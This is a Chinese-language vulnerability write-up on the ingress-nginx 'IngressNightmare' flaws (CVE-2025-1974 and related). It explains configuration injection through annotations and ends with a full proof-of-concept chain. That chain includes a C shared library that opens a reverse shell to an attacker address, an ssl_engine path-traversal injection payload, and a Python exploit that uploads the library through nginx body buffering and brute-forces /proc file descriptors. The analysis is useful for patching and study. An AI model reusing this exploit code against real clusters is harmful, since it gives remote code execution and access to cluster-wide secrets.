Overview

Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller

Product Version

  • Ingress-NGINX 1.11.5 以下的版本

Root Cause Analysis

Remote NGINX Configuration Injection

處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效

 1// testTemplate checks if the NGINX configuration inside the byte array is valid
 2// running the command "nginx -t" using a temporal file.
 3func (n *NGINXController) testTemplate(cfg []byte) error {
 4...
 5    tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
 6...
 7    err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
 8...
 9    out, err := n.command.Test(tmpfile.Name())
10
11func (nc NginxCommand) Test(cfg string) ([]byte, error) {
12    //nolint:gosec // Ignore G204 error
13    return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
14}

不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller

 1{ 
 2    "kind": "AdmissionReview", 
 3    "apiVersion": "admission.k8s.io/v1", 
 4    "request": { 
 5        "uid": "732536f0-d97e-4c9b-94bf-768953754aee", 
 6... 
 7        "name": "example-app", 
 8        "namespace": "default", 
 9        "operation": "CREATE", 
10... 
11        "object": { 
12            "kind": "Ingress", 
13            "apiVersion": "networking.k8s.io/v1", 
14            "metadata": { 
15                "name": "example-app", 
16                "namespace": "default", 
17... 
18                "annotations": { 
19                    "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" 
20                } 
21            }, 
22            "spec": { 
23                "ingressClassName": "nginx", 
24                "rules": [ 
25                    { 
26                        "host": "app.example.com", 
27                        "http": { 
28                            "paths": [ 
29                                { 
30                                    "path": "/", 
31                                    "pathType": "Prefix", 
32                                    "backend": { 
33                                        "service": { 
34                                            "name": "example-service", 
35                                            "port": {} 
36                                        } 
37                                    } 
38                                } 
39                            ] 
40                        } 
41                    } 
42                ] 
43            }, 
44... 
45    } 
46}

可以發現我們可以控制很多部分,並且 annotation parser 會 parse .request.object.annotations 的部分,該部分會被放進去 nginx 的設定文件中,可以用來注入指令

CVE-2025-24514 – auth-url Annotation Injection

authreq parser 負責身分驗證相關的部分,檔案需要設定一個 auth-url,包含一個 url 並且傳送到設定文件中

1func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
2    // Required Parameters
3    urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
4    if err != nil {
5        return nil, err
6    }

建立臨時設定檔時 $externalAuth.URL,沒有經過驗證即進行合併

1proxy_http_version 1.1; 
2proxy_set_header Connection ""; 
3set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }}; 
4{{ else }} 
5proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }}; 
6set $target {{ $externalAuth.URL }}; 
7{{ end }} 

像是以下的樣子

1nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point" 

最後請求就會像是

1... 
2proxy_http_version 1.1; 
3set $target http://example.com/#; 
4injection_point 
5proxy_pass $target; 
6... 

CVE-2025-1097-auth-tls-match-cn Annotation Injection

問題出在 authtls parser,處理 auth-tls-match-cn,使用 CommonNameAnnotationValidator 做驗證

1func CommonNameAnnotationValidator(s string) error { 
2    if !strings.HasPrefix(s, "CN=") { 
3        return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s) 
4    } 
5    if _, err := regexp.Compile(s[3:]); err != nil { 
6        return fmt.Errorf("value %s is not a valid regex: %w", s, err) 
7    } 
8    return nil 
9} 

與 CVE-2025-24514 相似,$server.CertificateAuth.MatchCN 對應到 auth-tls-match-cn

1if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) { 
2    return 403 "client certificate unauthorized"; 
3} 

嘗試以下設定

1nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#" 

最後設定會像是以下的樣子

1... 
2set $proxy_upstream_name "-";  
3if ( $ssl_client_s_dn !~ CN=abc #(  
4){} }} 
5global_injection;  
6# ) {  
7return 403 "client certificate unauthorized"; } 
8... 

為了讓 auth-tls-match-cn 出現在設定中,會需要提供 nginx.ingress.kubernetes.io/auth-tls-secret,像是對應於 cluster 中存在的TLS 證書或 Keypair Secret,並且由於 ingress nginx 使用的帳戶可以訪問 cluster 的所有 secret,所以可以從任何 namespace 指定 secret,只要跟 TLS 證書或 Keypair Secret 對應即可,除此之外,預設情況有許多受託管的 Kubernetes 都有,例如以下列表

 1kube-system/konnectivity-certs 
 2kube-system/azure-wi-webhook-server-cert 
 3kube-system/aws-load-balancer-webhook-tls 
 4kube-system/hubble-server-certs 
 5kube-system/cilium-ca 
 6calico-system/node-certs 
 7cert-manager/cert-manager-webhook-ca 
 8linkerd/linkerd-policy-validator-k8s-tls 
 9linkerd/linkerd-proxy-injector-k8s-tls 
10linkerd/linkerd-sp-validator-k8s-tls

CVE-2025-1098 – mirror UID Injection

mirror notation parser,這邊程式碼用來處理 UID,並且會插入臨時的 nginx 設定的 $location.Mirror.Source,因此可以控制 ing.UID 欄位,而這邊是注入在 UID 參數,不是 Kubernetes 註解,所以不適用於 regex 的檢查,會直接被插入設定,所以可以繞過上下文直接 inject 任意設定指令

CVE-2025-1974 - NGINX Configuration Code Execution

可以繞過路徑限制並訪問未經授權的節點,可以將指令注入 nginx 設定並且透過 nginx -t 測試,因此如果可以在 nginx -t 找到執行任意代碼的指令,就可以破壞 POD 並且拿到高權限的 kubernetes role,不過 nginx 設定只是用來測試所以沒有被實際應用,因此減少實際使用到的指令數量,可用的 nginx 指令如下

image

而 load_module(用來加載 share library 的指令),只能在開頭使用,因此注入 load module 會失敗,那我們可以再查看 ingress nginx controller 有事先 compile 什麼 module(link),就會發現 SSL_Engine 也可以 load share library,那這個指令就可以放在設定的任何地方使用,所以適合我們拿來 inject,所以可以透過在 nginx 測試階段去做 load arbitrary library,因此我們可以再進一步思考要怎麼在 POD 文件系統放置 share library

Uploading a shared library with NGINX Client Body Buffers

與 nginx -t 跟 admission controller 相同,POD 會執行 nginx 本身,並且 listen 在 80 或 443 port 處理 request 時,nginx 有時候會將 request 保留到 temporary file( client body buffering),這種情況發生於 request size 太大的時候,所以我們可以發送一個較大的 request,包含我們的 payload,這時候就會將 temporary file 存放到 POD 的 file system 文件,不過 nginx 會立即刪除 file,所以不太好利用,但 nginx 會包含一個指向該文件的 descriptor,可以從 ProcFS 訪問 為了讓 file descriptor 一直開啟,可以讓 request 的 content-length header 設定大於實際大小,這樣 nginx 就會繼續等待,會導致 nginx 卡住,可以讓 file descriptor 打開更長時間,這個方式的唯一缺點是我們會在另一個 process 創建文件,所以沒辦法使用 /proc/self 訪問,所以只能使用猜測 PID 跟 FD 才可以找到 shared library,但因為這是一個較小的 process 所以可以快速暴力出來

From Configuration Injection to RCE

所以綜合起來我們可以串起漏洞進行 RCE

  1. 透過濫用 nginx client 的 buffer feature 上傳 shared library
  2. 向 ingress nginx controller 的 admisstion controller 發送包含 injection payload 的 AdmissionReview request
  3. 透過 ssl\_engine 可以去 load shared library
  4. 指定 ProcFS 到 file descriptor
  5. 最後就 load shared library 並且 RCE

PoC

環境建置

可以透過 https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg 架設,但步驟相對複雜且困難,所以使用 vulhub 建置好的 docker images

1services:
2  k3s:
3    image: vulhub/ingress-nginx:1.9.5
4    privileged: true
5    environment:
6      - K3S_KUBECONFIG_MODE=666
7    ports:
8      - 30080:30080
9      - 30443:30443

shell.c:用來開 reverse shell 因為是用 shared library 的方式,所以要以此編譯

1gcc -shared -fPIC -o shell.so shell.c
 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <unistd.h>
 4#include <sys/socket.h>
 5#include <netinet/in.h>
 6#include <arpa/inet.h>
 7__attribute__((constructor)) static void reverse_shell(void){
 8    char *server_ip = ""; // 填入 IP
 9    uint32_t server_port = ; // 填入 port
10    int sock = socket(AF_INET, SOCK_STREAM, 0);
11    if (sock < 0){
12        exit(1);
13    }
14    struct sockaddr_in attacker_addr = {0};
15    attacker_addr.sin_family = AF_INET;
16    attacker_addr.sin_port = htons(server_port);
17    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
18    if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0){
19        exit(0);
20    }
21    dup2(sock, 0);
22    dup2(sock, 1);
23    dup2(sock, 2);
24    char *args[] = {"/bin/bash", NULL};
25    execve("/bin/bash", args, NULL);
26}

Configuration Injection

參考:https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json

 1admission_json = """
 2{
 3   "kind": "AdmissionReview",
 4   "apiVersion": "admission.k8s.io/v1",
 5   "request": {
 6      "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
 7      "kind": {
 8         "group": "networking.k8s.io",
 9         "version": "v1",
10         "kind": "Ingress"
11      },
12      "resource": {
13         "group": "networking.k8s.io",
14         "version": "v1",
15         "resource": "ingresses"
16      },
17      "requestKind": {
18         "group": "networking.k8s.io",
19         "version": "v1",
20         "kind": "Ingress"
21      },
22      "requestResource": {
23         "group": "networking.k8s.io",
24         "version": "v1",
25         "resource": "ingresses"
26      },
27      "name": "minimal-ingress",
28      "namespace": "default",
29      "operation": "CREATE",
30      "userInfo": {
31         "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
32      },
33      "object": {
34         "kind": "Ingress",
35         "apiVersion": "networking.k8s.io/v1",
36         "metadata": {
37            "name": "minimal-ingress",
38            "namespace": "default",
39            "creationTimestamp": null,
40            "annotations": {
41                "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
42            }
43         },
44         "spec": {
45            "ingressClassName": "nginx",
46            "rules": [
47               {
48                  "host": "test.example.com",
49                  "http": {
50                     "paths": [
51                        {
52                           "path": "/",
53                           "pathType": "Prefix",
54                           "backend": {
55                              "service": {
56                                 "name": "kubernetes",
57                                 "port": {
58                                    "number": 443
59                                 }
60                              }
61                           }
62                        }
63                     ]
64                  }
65               }
66            ]
67         },
68         "status": {
69            "loadBalancer": {}
70         }
71      },
72      "oldObject": null,
73      "dryRun": true,
74      "options": {
75         "kind": "CreateOptions",
76         "apiVersion": "meta.k8s.io/v1"
77      }
78   }
79}
80"""

exploit.py

  1import base64
  2import time
  3import requests
  4import sys
  5from urllib.parse import urlparse
  6import threading
  7from concurrent.futures import ThreadPoolExecutor
  8import urllib3
  9import socket
 10import os
 11
 12urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 13
 14ADMISSION_URL = "https://localhost:30443/networking/v1/ingresses"
 15INGRESS_URL = "http://localhost:30080/fake/addr"
 16SHELL_FILE = "shell.so"
 17NUM_WORKERS = 10
 18
 19admission_json = """
 20{
 21   "kind": "AdmissionReview",
 22   "apiVersion": "admission.k8s.io/v1",
 23   "request": {
 24      "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
 25      "kind": {
 26         "group": "networking.k8s.io",
 27         "version": "v1",
 28         "kind": "Ingress"
 29      },
 30      "resource": {
 31         "group": "networking.k8s.io",
 32         "version": "v1",
 33         "resource": "ingresses"
 34      },
 35      "requestKind": {
 36         "group": "networking.k8s.io",
 37         "version": "v1",
 38         "kind": "Ingress"
 39      },
 40      "requestResource": {
 41         "group": "networking.k8s.io",
 42         "version": "v1",
 43         "resource": "ingresses"
 44      },
 45      "name": "minimal-ingress",
 46      "namespace": "default",
 47      "operation": "CREATE",
 48      "userInfo": {
 49         "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
 50      },
 51      "object": {
 52         "kind": "Ingress",
 53         "apiVersion": "networking.k8s.io/v1",
 54         "metadata": {
 55            "name": "minimal-ingress",
 56            "namespace": "default",
 57            "creationTimestamp": null,
 58            "annotations": {
 59                "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
 60            }
 61         },
 62         "spec": {
 63            "ingressClassName": "nginx",
 64            "rules": [
 65               {
 66                  "host": "test.example.com",
 67                  "http": {
 68                     "paths": [
 69                        {
 70                           "path": "/",
 71                           "pathType": "Prefix",
 72                           "backend": {
 73                              "service": {
 74                                 "name": "kubernetes",
 75                                 "port": {
 76                                    "number": 443
 77                                 }
 78                              }
 79                           }
 80                        }
 81                     ]
 82                  }
 83               }
 84            ]
 85         },
 86         "status": {
 87            "loadBalancer": {}
 88         }
 89      },
 90      "oldObject": null,
 91      "dryRun": true,
 92      "options": {
 93         "kind": "CreateOptions",
 94         "apiVersion": "meta.k8s.io/v1"
 95      }
 96   }
 97}
 98"""
 99
100def send_request(admission_url, json_data, proc, fd):
101    print(f"Trying Proc: {proc}, FD: {fd}")
102    path = f"proc/{proc}/fd/{fd}"
103    replaced_data = json_data.replace("REPLACE", path)
104    headers = {
105        "Content-Type": "application/json"
106    }
107    full_url = admission_url.rstrip("/") + "/admission"
108    try:
109        response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
110        print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
111    except Exception as e:
112        print(f"Error on /proc/{proc}/fd/{fd}: {e}")
113
114def admission_brute(admission_url, max_workers=10):
115    with ThreadPoolExecutor(max_workers=max_workers) as executor:
116        for proc in range(30, 50):
117            for fd in range(3, 30):
118                executor.submit(send_request, admission_url, admission_json, proc, fd)
119
120        for proc in range(160, 180):
121            for fd in range(3, 30):
122                executor.submit(send_request, admission_url, admission_json, proc, fd)
123
124def exploit(ingress_url, shell_file):
125    if not os.path.exists(shell_file):
126        print(f"Error: Shell file '{shell_file}' not found")
127        sys.exit(1)
128    so = open(shell_file, 'rb').read() + b"\x00" * 8092
129    real_length = len(so)
130    fake_length = real_length + 10
131    parsed = urlparse(ingress_url)
132    host = parsed.hostname
133    port = parsed.port or 80
134    path = parsed.path or "/"
135    try:
136        sock = socket.create_connection((host, port))
137    except Exception as e:
138        print(f"Error connecting to {host}:{port}: {e}")
139        sys.exit(1)
140    headers = (
141        f"POST {path} HTTP/1.1\r\n"
142        f"Host: {host}\r\n"
143        f"User-Agent: lufeisec\r\n"
144        f"Content-Type: application/octet-stream\r\n"
145        f"Content-Length: {fake_length}\r\n"
146        f"Connection: keep-alive\r\n\r\n"
147    ).encode("iso-8859-1")
148    sock.sendall(headers + so)
149    response = b""
150    while True:
151        chunk = sock.recv(4096)
152        if not chunk:
153            break
154        response += chunk
155    print("[*] Response:")
156    print(response.decode(errors="ignore"))
157    sock.close()
158
159def main():
160    print(f"[*] Using shell file: {SHELL_FILE}")
161    print(f"[*] Admission URL: {ADMISSION_URL}")
162    print(f"[*] Ingress URL: {INGRESS_URL}")
163    print(f"[*] Workers: {NUM_WORKERS}")
164    print("[*] Starting exploit...")
165    x = threading.Thread(target=exploit, args=(INGRESS_URL, SHELL_FILE))
166    x.start()
167    time.sleep(2)
168    admission_brute(ADMISSION_URL, max_workers=NUM_WORKERS)
169if __name__ == "__main__":
170    main()

image

reference

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg https://blog.csdn.net/leah126/article/details/147160597